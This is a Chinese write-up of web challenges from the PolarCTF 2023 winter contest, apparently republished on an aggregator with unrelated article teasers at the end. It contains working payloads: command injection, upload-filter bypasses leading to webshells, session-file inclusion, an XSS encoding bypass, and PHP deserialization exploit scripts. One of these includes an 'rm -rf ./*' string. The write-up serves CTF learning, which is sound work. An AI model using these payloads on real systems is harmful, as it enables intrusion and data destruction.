PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp

news2025/2/1 3:42:09

完工,最后CB链没时间打了,估计也不怎么打得出来,今天一边在打polar一边弄服务外包赛,好累呜呜呜。

image-20231209211458693

Polar 冬 干正则(WEB)

直接给了源码

image-20231209184906314

parse_str():将字符串解析成多个变量

payload:

?id=a[]=www.polarctf.com&cmd=;cat%20flag*

image-20231209185752708

Polar 冬 upload(WEB)

开题

image-20231209174903231

源码里面发现hint

image-20231209175014438

得到源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

str_ireplace():替换字符串中的一些字符(不区分大小写)。双写即可绕过。

image-20231209175845103

直接getshell就行。

image-20231209175907314

Polar 冬 cookie欺骗(WEB)

伪造一下Cookie就行

image-20231209174732680

Polar 冬 随机值(WEB)

直接给了源码

image-20231209142904368

要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。

PHP7,类型不敏感,类中属性可以全换为public。

image-20231209143127572

秒了。

EXP:

<?php
class Index{
    public $Polar1;
    public $Polar2;
    public $Night;
    public $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}

$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

echo serialize($a);

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Polar 冬 你想逃也逃不掉(WEB)

直接给了源码

image-20231209143715123

反序列化之字符串逃逸。

EXP:

<?php
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphtml';
$user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
#a:3:{s:8:"username";s:5:"Jay17";s:6:"passwd";s:0:"";s:4:"sign";s:6:"123456";}


echo serialize($user);//初始
echo "\n";
echo filter(serialize($user));//过滤字符后


$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo "\nJay17";
}

image-20231209153321155

payload:

GET:?passwd=%3Bs%3A6%3A%22passwd%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22sign%22%3Bs%3A6%3A%22ytyyds%22%3B%7D

POST:name=phtmlphtmlphtmlphtml

image-20231209153438639

Polar 冬 ezphp(WEB)

开题,爬虫相关,想到robots.txt文件

image-20231209153811840

访问robots.txt,获得三个路由

image-20231209153904554

/uploads/upload.php:文件上传功能

/file/file.php:文件包含功能

文件包含读取upload.php文件内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
</head>
<body>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检查文件是否上传成功
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        // 定义允许上传的文件类型
        $allowed_extensions = array("jpg", "jpeg", "png", "gif");

        // 获取上传文件的文件名和扩展名
        $filename = $_FILES['file']['name'];
        $file_extension = pathinfo($filename, PATHINFO_EXTENSION);

        // 检查文件扩展名是否在允许的列表中
        if (in_array(strtolower($file_extension), $allowed_extensions)) {
            // 确定存储上传文件的目录
            $upload_directory = './images/';

            // 确保目录存在,如果不存在则创建
            if (!is_dir($upload_directory)) {
                mkdir($upload_directory, 0777, true);
            }

            // 构造上传文件的完整路径
            $upload_path = $upload_directory . $filename;

            // 移动文件到指定目录
            if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
                echo '<p>文件上传成功!</p>';
            } else {
                echo '<p>文件上传失败。</p>';
            }
        } else {
            echo '<p>不允许上传该类型的文件。</p>';
        }
    } else {
        echo '<p>文件上传失败。</p>';
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">选择文件:</label>
    <input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
    <br>
    <input type="submit" value="上传文件">
</form>

</body>
</html>

文件后缀是白名单,难绕过,一般白名单的文件上传都是要结合其他漏洞。有文件包含,那就结合文件包含。

有文件包含,所以后缀不用管,包含文件内容,就算jpg都能把马包含进来。

直接包含

image-20231209195509309

看源码,目录是,/uploads/images/xxx.xxx

/file/file.php 文件包含getshell。

image-20231209195904527

Polar 冬 你的马呢?(WEB)

开题:(注意URL,可能会存在文件包含)

image-20231209131707043

还真存在文件包含

image-20231209131744373

upload.php

<?php
	if(isset($_FILES['upfile'])){
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
		$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

		//检查文件内容
		$text = file_get_contents($_FILES['upfile']['tmp_name']);


		echo $ext;

		//检查文件后缀
		if (!preg_match("/ph.|htaccess/i", $ext)){

			if(preg_match("/<\?php/i", $text)){
				echo "嘿嘿嘿,想传马?不可能!<br>";
			}
			else{
				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
				echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";
			}
		} 
		else {
			echo "恶意后缀,试试.jsp呢?<br>";
			
		}
	}
?>

<!DOCTYPE html>
<html>
<head>
	<title>上传文件</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
	千万别上传php脚本!!!!
	<form action="upload.php" method="POST" enctype="multipart/form-data">
		<input type="file" name="upfile" value="" />
		<input type="submit" name="submit" value="提交" />
	</form>
</body>
</html>

文件上传功能过滤php、htaccess后缀,过滤文件内容<?php。看似山穷水尽,仔细一看发现存在apache解析漏洞。

AddHandler导致的Apache解析漏洞

如果服务器给.php后缀添加了处理器:
AddHandler application/x-httpd-php.php

那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg中包含.php,所以解析为php文件

利用:

1、1.php.jpg

2、1.php.txt

影响范围:2.4.0-2.4.29版本

image-20231209195015910

getsgell

image-20231209195033084

Polar 冬 苦海(WEB)【】

反序列化+文件包含,难的是找flag。

image-20231209221749527

链子如下:

User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

给个EXP:

删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

$a=new User();
$a->name=new Surrender();
$a->name->file['filename']=new FileRobot();
$a->name->content['title']='bucunzai';
$a->name->file['filename']->path=new FileRobot();
$a->name->file['filename']->path->filename='../flag.php';

echo urlencode(serialize($a));

//unserialize(serialize($a));

payload:

?user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A4%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7Ds%3A7%3A%22content%22%3Ba%3A1%3A%7Bs%3A5%3A%22title%22%3Bs%3A8%3A%22bucunzai%22%3B%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D

image-20231209223258448

Polar 冬 safe_include(WEB)

直接给了源码:

image-20231209213312419

open_basedir:限制PHP访问文件的目录(读写),不限制命令执行的目录。

这里开启了session,我们可以使用session文件包含,而且session文件不会被清理。我们可以利用他来getshell。


在PHP中,使用$_SESSION[]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。
当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的sessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。

利用Session变量存储信息:
$_SESSION[“sessionID”]=变量或字符串信息;

读取Session变量信息(可赋值给一个变量或者直接输出):
变量=$_SESSION[“sessionID”];

sessionID可以自己创造一个,比如jayjay。那么session文件名就是/tmp/sess_jayjay,里面存储了sessionID为jayjay的session变量信息。sessionID一般就是Cookie中PHPSESSID的值。当用户在Cookie中设置PHPSESSID=jayjay时,PHP就会生成一个文件/tmp/sess_jayjay,此时也就初始化了session。同时,这时候传参,参数值就自动被写入/tmp/sess_jayjay了。


这里我们可以读取Session变量信息,也可以存储Session变量信息,那我们就可以往里面放🐎,然后包含🐎,getshell。

存马到sess_Jay17文件。

image-20231209221203948

包含sess_Jay17文件也就是包含马,getshell。

image-20231209221251438

Polar 冬 phpurl(WEB)

附件:

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 

aW5kZXgucGhwcwbase64解码后是index.phps

开题

image-20231209124658870

访问/index.phps路由。直接给了源码

image-20231209124736036

很简单,xxs二次URL编码就行。

image-20231209125259479

注意点:/index.phps只是源码泄露,传参在/路由。

image-20231209125310136

Polar 冬 cool(WEB)

开题,直接给了源码

image-20231209123959352

payload:

?a=echo `cat f*`;

image-20231209124345759

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1300810.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于JavaWeb+SSM+Vue马拉松报名系统微信小程序的设计和实现

基于JavaWebSSMVue马拉松报名系统微信小程序的设计和实现 源码获取入口Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 Lun文目录 1系统概述 1 1.1 研究背景 1 1.2研究目的 1 1.3系统设计思想 1 2相关技术 2 2.…

23 秋 计网真题回忆

总体 计网整体部分还是以全龙老师的PPT和王道的考研题和课后题考的部分很细 都是PPT上的内容 最好不要光做王道 PPT上很细的点也要看题量很大25个选择 5个判断 十个填空 5个大题好像是 不熟练的话可能写不完所有的配图都是网上找的资源 比如19-22的学校题和408真题 非本人所有…

Low Cost and High Performance FPGA with ARM and SDRAM inside

AG10KSDE176 AGM AG10KSDE176 是由 AGM FPGA AG10K 与 SDRAM 叠封集成的芯片&#xff0c;具有 AG10K FPGA 的可编程功能&#xff0c;提供更多可编程 IO&#xff0c;同时内部连接大容量 SDRAM。  FPGA 外部管脚输出 EQFP176 封装底部 Pad 为 GND&#xff0c;管脚说明请见下表&…

使用cmake构建的工程的编译方法

1、克隆项目工程 2、进入到工程目录 3、执行 mkdir build && cd build 4、执行 cmake .. 5、执行 make 执行以上步骤即可完成对cmake编写的工程进行编译 &#xff0c;后面只需执行你的编译结果即可 $ git clone 你想要克隆的代码路径 $ cd 代码文件夹 $ mkdir bu…

鸿蒙前端开发-构建第一个ArkTS应用(Stage模型)

创建ArkTS工程 若首次打开DevEco Studio&#xff0c;请点击Create Project创建工程。如果已经打开了一个工程&#xff0c;请在菜单栏选择File > New > Create Project来创建一个新工程。 选择Application应用开发&#xff08;本文以应用开发为例&#xff0c;Atomic Serv…

四. 基于环视Camera的BEV感知算法-环视背景介绍

目录 前言0. 简述1. 环视背景介绍2. 环视思路3. 主流基于环视Camera的算法详解总结下载链接参考 前言 自动驾驶之心推出的《国内首个BVE感知全栈系列学习教程》&#xff0c;链接。记录下个人学习笔记&#xff0c;仅供自己参考 本次课程我们来学习下课程第四章——基于环视Camer…

Kafka Streams:深度探索实时流处理应用程序

Apache Kafka Streams 是一款强大的实时流处理库&#xff0c;为构建实时数据处理应用提供了灵活且高性能的解决方案。本文将深入探讨 Kafka Streams 的核心概念、详细原理&#xff0c;并提供更加丰富的示例代码&#xff0c;以帮助读者深入理解和应用这一流处理框架。 1. Kafka…

Redis,什么是缓存穿透?怎么解决?

Redis&#xff0c;什么是缓存穿透&#xff1f;怎么解决&#xff1f; 1、缓存穿透 一般的缓存系统&#xff0c;都是按照key去缓存查询&#xff0c;如果不存在对用的value&#xff0c;就应该去后端系统查找&#xff08;比如DB数据库&#xff09;。一些恶意的请求会故意查询不存在…

ELK简单介绍二

学习目标 能够部署kibana并连接elasticsearch集群能够通过kibana查看elasticsearch索引信息知道用filebeat收集日志相对于logstash的优点能够安装filebeat能够使用filebeat收集日志并传输给logstash kibana kibana介绍 Kibana是一个开源的可视化平台,可以为ElasticSearch集群…

【Spring教程25】Spring框架实战:从零开始学习SpringMVC 之 SpringMVC入门案例总结与SpringMVC工作流程分析

目录 1.入门案例总结2. 入门案例工作流程分析2.1 启动服务器初始化过程2.2 单次请求过程 欢迎大家回到《Java教程之Spring30天快速入门》&#xff0c;本教程所有示例均基于Maven实现&#xff0c;如果您对Maven还很陌生&#xff0c;请移步本人的博文《如何在windows11下安装Mave…

react.js源码二

三、调度Scheduler scheduling(调度)是fiber reconciliation的一个过程&#xff0c;主要决定应该在何时做什么?在stack reconciler中&#xff0c;reconciliation是“一气呵成”&#xff0c;对于函数来说&#xff0c;这没什么问题&#xff0c;因为我们只想要函数的运行结果&…

高云GW1NSR-4C开发板M3硬核应用

1.M3硬核IP下载&#xff1a;Embedded M3 Hard Core in GW1NS-4C - 科技 - 广东高云半导体科技股份有限公司 (gowinsemi.com.cn) 特别说明&#xff1a;IDE必须是1.9.9及以后版本&#xff0c;1.9.8会导致编译失败&#xff08;1.9.8下1.1.3版本IP核可用&#xff09; 以下根据官方…

【后端开发】Next.js 13.4:前端开发的游戏规则改变者!

自我介绍 做一个简单介绍&#xff0c;酒架年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【…

云计算大屏,可视化云计算分析平台(云实时数据大屏PSD源文件)

大屏组件可以让UI设计师的工作更加便捷&#xff0c;使其更高效快速的完成设计任务。现分享可视化云分析系统、可视化云计算分析平台、云实时数据大屏的大屏Photoshop源文件&#xff0c;开箱即用&#xff01; 若需 更多行业 相关的大屏&#xff0c;请移步小7的另一篇文章&#…

浅析不同NAND架构的差异与影响

SSD的存储介质是什么&#xff0c;它就是NAND闪存。那你知道NAND闪存是怎么工作的吗&#xff1f;其实&#xff0c;它就是由很多个晶体管组成的。这些晶体管里面存储着电荷&#xff0c;代表着我们的二进制数据&#xff0c;要么是“0”&#xff0c;要么是“1”。NAND闪存原理上是一…

TCP为什么可靠之“重传机制”

TCP重传机制 TCP针对数据包丢失的情况&#xff0c;会通过重传机制解决&#xff0c;包括像超时重传、快速重传、选择确认SACK、D-SACK 超时重传 TCP会设置一个定时器&#xff0c;如果在发送数据之后的规定时间内&#xff0c;没有收到对方的ACK报文&#xff0c;就会触发重新发…

基于SpringBoot+JSP+Mysql宠物领养网站+协同过滤算法推荐宠物(Java毕业设计)

大家好&#xff0c;我是DeBug&#xff0c;很高兴你能来阅读&#xff01;作为一名热爱编程的程序员&#xff0c;我希望通过这些教学笔记与大家分享我的编程经验和知识。在这里&#xff0c;我将会结合实际项目经验&#xff0c;分享编程技巧、最佳实践以及解决问题的方法。无论你是…

基于JavaWeb+SSM+Vue微信小程序的科创微应用平台系统的设计和实现

基于JavaWebSSMVue微信小程序的科创微应用平台系统的设计和实现 源码获取入口Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 Lun文目录 1系统概述 1 1.1 研究背景 1 1.2研究目的 1 1.3系统设计思想 1 2相关技术…

Unity中Shader黑白阀值后处理效果

文章目录 前言一、我们先来PS看一下黑白阀值的效果二、使用step(a,b)函数实现效果三、实现脚本控制黑白阀值1、在Shader属性面板定义控制阀值变量2、把step的a改为_Value3、在后处理脚本设置公共成员变量,并且设置范围为&#xff08;0&#xff0c;1&#xff09;4、在Graphics.B…

Echarts 环形图配置 环形半径(radius) 修改文本位置(label) 南丁格尔图(roseType)

数据 const data [{ name: 华为, value: 404 },{ name: 小米, value: 800 }, { name: 红米, value: 540 }, { name: 苹果, value: 157 }]设置南丁格尔图 roseType: area设置标签位置 label: {show: true,position: center // center 中间展示 outside 外侧展示 inside 内侧…